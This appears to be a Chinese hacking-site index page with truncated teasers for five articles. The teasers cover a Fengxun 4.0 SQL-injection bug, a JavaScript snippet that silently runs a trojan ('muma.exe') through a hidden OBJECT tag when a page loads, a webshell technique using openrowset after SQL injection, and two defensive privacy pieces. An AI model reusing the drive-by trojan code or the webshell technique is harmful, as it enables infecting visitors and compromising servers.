黑客生涯

风讯4.0未公开Bug

补充一句,这个东西只是看代码时随便看到的一处,其他地方还多着呢,当时写下来还没测试,我就记了下来,其中有什么不对,还望理解。哈哈~ 前段时间网上流行的SQL注入是利用伪造...

黑客生涯

网页打开后自动执行木马

scriptlanguage="javascript" run_exe="OBJECTID=\"RUNIT\"WIDTH=0HEIGHT=0TYPE=\"application/x-oleobject\"" run_exe+="CODEBASE=\"muma.exe#version=1,1,1,1\"" //这里的muma.exe就是我们要运行的程序 run_exe+="PARAMNAME=\"_Version\"value=...

黑客生涯

网上保障隐私十大秘技

互联网是一把两刃利剑,一方面为日常生活带来便利,另一方面又为黑客入侵电脑系统开放更多渠道。一般网友应如何防范?请看下面能保障你隐私的十大秘技: 1.采用匿名方式浏览,...

黑客生涯

渗透中用openrowset搞shell的方法

渗透中用openrowset搞shell的方法 得到SQL注入点,首先想到的是BACKUPWEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了. 联想到一个权限不是很高的命令openrowset,进...

黑客生涯

防止电脑被他人控制

电脑黑客可以利用开放端口和弱口令甚至空口令漏洞侵入用户电脑。黑客可以通过QQ获取对方网段(或直接获取IP),利用扫描工具(例如:Superscan、X-scan等)扫描用户计算机端口并获取IP,再运...